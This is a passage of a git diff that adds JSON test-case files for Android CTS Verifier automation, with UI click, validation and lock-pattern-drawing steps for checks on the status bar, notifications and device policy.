settings.\"}],\"className\":\"android.widget.FrameLayout\",\"resourceId\":\"com.android.systemui:id/settings_button_container\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":312.3333333333333,\"y1\":406.0,\"x2\":356.3333333333333,\"y2\":450.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":329.0,\"y\":421.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":5.333333333333314,\"y\":6.5,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"7a205745-3b90-4eb4-8b8c-83c62fde57b5\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"com.android.systemui:id/settings_button\",\"selectedType\":\"RESOURCE_ID\",\"selectedBound\":{\"x1\":310.0,\"y1\":407.0,\"x2\":348.0,\"y2\":436.0}},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify Notifications is no longer available\",\"actionId\":\"d5aa0e67-d10f-4080-a622-e8a70e7ba226\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Notifications\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_TRUE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"835b6284-67b2-4898-9bb9-bfce58103921\",\"displayText\":\"Notifications\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"7a332baf-a7ce-4995-b88f-02cc7f1b8303\",\"displayText\":\"Notifications\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"72ed9c65-6e70-457a-b144-3f36f0139543\",\"displayText\":\"Notifications\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"3f87299d-b453-488a-a375-f1fa8fe64966\",\"displayText\":\"Notifications\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.systemui:id/header_label\",\"text\":\"Notifications\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":7.333333333333333,\"y1\":159.0,\"x2\":107.0,\"y2\":203.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-7.833333333333336,\"y\":3.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Notifications\"}],\"className\":\"android.widget.FrameLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":7.333333333333333,\"y1\":159.0,\"x2\":352.6666666666667,\"y2\":203.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Notifications\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.systemui:id/content\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":7.333333333333333,\"y1\":159.0,\"x2\":352.6666666666667,\"y2\":203.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Notifications\"}],\"className\":\"android.widget.FrameLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":3.6666666666666665,\"y1\":159.0,\"x2\":356.3333333333333,\"y2\":203.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":65.0,\"y\":177.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":115.0,\"y\":3.5,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"3f87299d-b453-488a-a375-f1fa8fe64966\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Notifications\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":9.0,\"y1\":164.0,\"x2\":121.0,\"y2\":191.0}},{\"type\":\"ClickAction\",\"name\":\"Click Action, Reenable status bar\",\"actionId\":\"d4338cde-7e30-4920-adf6-4103c56ba487\",\"actionType\":\"CLICK_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Reenable status bar\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify Quick setting bar is available\",\"actionId\":\"2cf70b6e-6c91-4b18-8538-d3848d96799b\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"com.android.systemui:id/settings_button\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"3b6eed8c-25b1-4357-a220-73dd56ee5253\",\"displayText\":\"Open settings.\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"0afa4262-db4c-402e-ac23-1ed3c7fdf8a2\",\"displayText\":\"Open settings.\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.ImageButton\",\"resourceId\":\"com.android.systemui:id/settings_button\",\"contentDesc\":\"Open settings.\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":312.3333333333333,\"y1\":406.0,\"x2\":356.3333333333333,\"y2\":450.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":1.3333333333333144,\"y\":1.5,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Open settings.\"}],\"className\":\"android.widget.FrameLayout\",\"resourceId\":\"com.android.systemui:id/settings_button_container\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":312.3333333333333,\"y1\":406.0,\"x2\":356.3333333333333,\"y2\":450.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":333.0,\"y\":426.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":1.3333333333333144,\"y\":1.5,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"0afa4262-db4c-402e-ac23-1ed3c7fdf8a2\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"com.android.systemui:id/settings_button\",\"selectedType\":\"RESOURCE_ID\",\"selectedBound\":{\"x1\":319.0,\"y1\":413.0,\"x2\":347.0,\"y2\":440.0}},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify Notifications is available\",\"actionId\":\"286e62b5-37e4-4b63-a18d-cf54f1cfe38a\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Notifications\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"4768ab1a-4ee6-4b46-9538-80222a1d7173\",\"isUniqueResourceId\":false,\"children\":[],\"checked\":false,\"isCheckableNode\":false,\"isClickableNode\":false,\"enabled\":false,\"bounds\":{\"x1\":60.5,\"y1\":172.5,\"x2\":60.5,\"y2\":172.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":60.5,\"y\":172.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":60.5,\"y\":172.5,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":true,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Notifications\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":13.0,\"y1\":160.0,\"x2\":108.0,\"y2\":185.0}}],\"childrenIdList\":[\"ef2a6727-9ec0-4614-be22-9eb1c77e7be7\",\"76b883ca-0d0a-415a-9c71-4de1d46d461a\",\"d55513ba-0e91-4d34-94ff-916a3e5b6bf9\",\"bc4f5534-26cb-4b19-b548-609b6c8e326e\",\"6a4b5022-bb3e-4d2d-beb4-7397b51bf994\",\"15c75efc-b173-4eed-9a2c-164886355c98\",\"d5aa0e67-d10f-4080-a622-e8a70e7ba226\",\"d4338cde-7e30-4920-adf6-4103c56ba487\",\"bc4f5534-26cb-4b19-b548-609b6c8e326e\",\"2cf70b6e-6c91-4b18-8538-d3848d96799b\",\"31902e22-dd19-4a14-9a1f-5bca034bacd5\",\"15c75efc-b173-4eed-9a2c-164886355c98\",\"286e62b5-37e4-4b63-a18d-cf54f1cfe38a\",\"31902e22-dd19-4a14-9a1f-5bca034bacd5\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"10 &amp; 17-03-Disable status bar test","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.104000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/7be12173-7685-4bcd-bb2e-acdfbbe394a1 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/7be12173-7685-4bcd-bb2e-acdfbbe394a1
new file mode 100644
index 0000000..ef394a4
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/7be12173-7685-4bcd-bb2e-acdfbbe394a1
@@ -0,0 +1 @@
+{"uuid":"7be12173-7685-4bcd-bb2e-acdfbbe394a1","details":"{\"type\":\"CompoundAction\",\"name\":\"Draw pattern lock\",\"actionId\":\"7be12173-7685-4bcd-bb2e-acdfbbe394a1\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"PythonScriptAction\",\"name\":\"Draw pattern\",\"actionId\":\"cea236fe-8a70-4afa-98ab-128da008be3c\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"riacheltseng\",\"script\":\"from python_uiautomator.device import Device\\nimport re\\nd= Device.create_device_by_slot(0)\\n \\nif d.resource_id(\\\"com.android.settings:id/lockPattern\\\").verify_exist():\\n    text = dict(d.resource_id(\\\"com.android.settings:id/lockPattern\\\").get_attributes())['bounds']\\nelif  d.resource_id(\\\"com.android.systemui:id/lockPatternView\\\").verify_exist():\\n    text = dict(d.resource_id(\\\"com.android.systemui:id/lockPatternView\\\").get_attributes())['bounds']\\nelif  d.resource_id(\\\"com.android.systemui:id/lockPattern\\\").verify_exist():\\n    text = dict(d.resource_id(\\\"com.android.systemui:id/lockPattern\\\").get_attributes())['bounds']\\n\\nx1 = int(re.findall(r'\\\\d+', text)[0])\\ny1 = int(re.findall(r'\\\\d+', text)[1])\\nx2 = int(re.findall(r'\\\\d+', text)[2])\\ny2 = int(re.findall(r'\\\\d+', text)[3])\\n\\nclass point1():\\n    x = int(x2-((x2-x1)/6)*5)\\n    y = int(y2-((y2-y1)/6)*5)\\n\\nclass point2():\\n    x = int(x2-(x2-x1)/2)\\n    y = int(y2-((y2-y1)/6)*5)\\n\\nclass point5():\\n    x = int(x2-(x2-x1)/2)\\n    y = int(y2-(y2-y1)/2)\\n\\nclass point8():\\n    x = int(x2-(x2-x1)/2)\\n    y = int(y2-(y2-y1)/6)\\n\\nselectors = [point1, point2, point5, point8]\\nd.drag(selectors)\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null}],\"childrenIdList\":[\"cea236fe-8a70-4afa-98ab-128da008be3c\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Draw pattern lock","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.036000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/7ccaea57-2cd8-466d-b5fa-abbfb89831b3 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/7ccaea57-2cd8-466d-b5fa-abbfb89831b3
new file mode 100644
index 0000000..0175d97
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/7ccaea57-2cd8-466d-b5fa-abbfb89831b3
@@ -0,0 +1 @@
+{"uuid":"7ccaea57-2cd8-466d-b5fa-abbfb89831b3","details":"{\"type\":\"CompoundAction\",\"name\":\"Click Start Test button\",\"actionId\":\"7ccaea57-2cd8-466d-b5fa-abbfb89831b3\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, id/start_test_button\",\"actionId\":\"fc5f502c-e486-40c0-8aef-1ec2700203de\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/start_test_button\"}],\"childrenIdList\":[\"fc5f502c-e486-40c0-8aef-1ec2700203de\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Click Start Test button","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.054000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/7db88cc2-8f43-4668-a7bc-0afb68e49de3 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/7db88cc2-8f43-4668-a7bc-0afb68e49de3
new file mode 100644
index 0000000..3fb19b5
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/7db88cc2-8f43-4668-a7bc-0afb68e49de3
@@ -0,0 +1 @@
+{"uuid":"7db88cc2-8f43-4668-a7bc-0afb68e49de3","details":"{\"type\":\"CompoundAction\",\"name\":\"Verify if there is a notification in the notification shade\",\"actionId\":\"7db88cc2-8f43-4668-a7bc-0afb68e49de3\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify there is a notification \\\"BubbleChat\\\" in Notification\",\"actionId\":\"b1986880-bda8-45c6-a5d0-7a9e1783f65d\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"BubbleChat\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"56d34bac-339b-4c9d-a99c-718a2b001049\",\"displayText\":\"BubbleChat\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"604d353e-7c56-40bd-ac95-822e3e814bcb\",\"displayText\":\"BubbleChat\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/conversation_text\",\"text\":\"BubbleChat\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":73.5,\"y1\":208.25,\"x2\":150.5,\"y2\":227.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":6.0,\"y\":3.25,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"BubbleChat\"},{\"uuid\":\"2210049d-7b6e-4c39-8c75-81508e5b0577\",\"displayText\":\"•\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/app_name_divider\",\"text\":\"•\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":157.5,\"y1\":210.0,\"x2\":161.0,\"y2\":225.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"•\"},{\"uuid\":\"68f36702-d0ba-4a54-b3bf-f95048b70895\",\"displayText\":\"CTS Verifier\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/app_name_text\",\"text\":\"CTS Verifier\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":168.0,\"y1\":210.0,\"x2\":222.5,\"y2\":225.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"CTS Verifier\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"android:id/conversation_header\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":73.5,\"y1\":194.25,\"x2\":261.0,\"y2\":227.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":106.0,\"y\":214.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":61.25,\"y\":-3.75,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"604d353e-7c56-40bd-ac95-822e3e814bcb\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"BubbleChat\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":69.0,\"y1\":202.0,\"x2\":143.0,\"y2\":227.0}},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify the Bubble Notification text\",\"actionId\":\"2ba55ae7-c0e8-404b-8b15-cd789d560977\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Is it me you're looking for?\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"bc533081-bf1c-4ebd-9439-4466f5bc0034\",\"displayText\":\"Is it me you're looking for?\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"5b1b6197-68d9-4be5-8123-e76a0be2f27c\",\"displayText\":\"Hello?\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/message_text\",\"text\":\"Hello?\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":73.5,\"y1\":246.0,\"x2\":107.5,\"y2\":262.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Hello?\"},{\"uuid\":\"d091df20-ec96-4e19-b605-db397de6149f\",\"displayText\":\"Is it me you're looking for?\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/message_text\",\"text\":\"Is it me you're looking for?\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":73.5,\"y1\":264.25,\"x2\":216.0,\"y2\":280.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-0.75,\"y\":-0.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Is it me you're looking for?\"}],\"className\":\"android.view.ViewGroup\",\"resourceId\":\"android:id/group_message_container\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":73.5,\"y1\":246.0,\"x2\":216.0,\"y2\":280.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":145.5,\"y\":273.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":-0.75,\"y\":-9.625,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"d091df20-ec96-4e19-b605-db397de6149f\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Is it me you're looking for?\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":62.0,\"y1\":268.0,\"x2\":229.0,\"y2\":278.0}}],\"childrenIdList\":[\"15c75efc-b173-4eed-9a2c-164886355c98\",\"b1986880-bda8-45c6-a5d0-7a9e1783f65d\",\"2ba55ae7-c0e8-404b-8b15-cd789d560977\",\"31902e22-dd19-4a14-9a1f-5bca034bacd5\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Verify if there is a notification in the notification shade","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.225000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/7dddd0ac-0493-4e91-871a-e36348978323 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/7dddd0ac-0493-4e91-871a-e36348978323
new file mode 100644
index 0000000..e16bb19
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/7dddd0ac-0493-4e91-871a-e36348978323
@@ -0,0 +1 @@
+{"uuid":"7dddd0ac-0493-4e91-871a-e36348978323","details":"{\"type\":\"CompoundAction\",\"name\":\"test_BYOD Provisioning tests\",\"actionId\":\"7dddd0ac-0493-4e91-871a-e36348978323\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[],\"childrenIdList\":[\"a66b98b1-5ae4-4e60-9f51-1afb7c1c4f7e\",\"7265db9b-8461-4c01-8b11-809b8e346327\",\"e097807f-e110-411e-9f04-02442fad05d2\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"test_BYOD Provisioning tests","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.326000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/7e951186-50c3-400e-a5c6-e931dd32a30b b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/7e951186-50c3-400e-a5c6-e931dd32a30b
new file mode 100644
index 0000000..c620782
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/7e951186-50c3-400e-a5c6-e931dd32a30b
@@ -0,0 +1 @@
+{"uuid":"7e951186-50c3-400e-a5c6-e931dd32a30b","details":"{\"type\":\"CompoundAction\",\"name\":\"Click Go button\",\"actionId\":\"7e951186-50c3-400e-a5c6-e931dd32a30b\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, Go\",\"actionId\":\"cc915576-1b50-4fd7-ad78-fdaec3cd1fae\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Go\"}],\"childrenIdList\":[\"cc915576-1b50-4fd7-ad78-fdaec3cd1fae\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Click Go button","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.084000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/7ebfac21-0046-438c-af8c-f21ea88f0357 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/7ebfac21-0046-438c-af8c-f21ea88f0357
new file mode 100644
index 0000000..9ac61a2
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/7ebfac21-0046-438c-af8c-f21ea88f0357
@@ -0,0 +1 @@
+{"uuid":"7ebfac21-0046-438c-af8c-f21ea88f0357","details":"{\"type\":\"CompoundAction\",\"name\":\"15-01-Disallow add user\",\"actionId\":\"7ebfac21-0046-438c-af8c-f21ea88f0357\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Disallow add user\",\"actionId\":\"f502a6af-bcc5-450b-8fec-e04a6c45c20c\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Disallow add user\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"0b311c31-4a3f-4c4b-b60b-e421a18fa126\",\"displayText\":\"Disallow add user\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Disallow add user\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":73.33333333333333,\"x2\":360.0,\"y2\":117.33333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":62.5,\"y\":97.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":117.5,\"y\":-1.6666666666666714,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"0b311c31-4a3f-4c4b-b60b-e421a18fa126\",\"firstText\":\"Disallow add user\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Disallow add user\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":3.0,\"y1\":80.0,\"x2\":122.0,\"y2\":114.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Disallow add user\",\"actionId\":\"b19f38db-4368-4067-aafd-f408e550eb22\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Disallow add 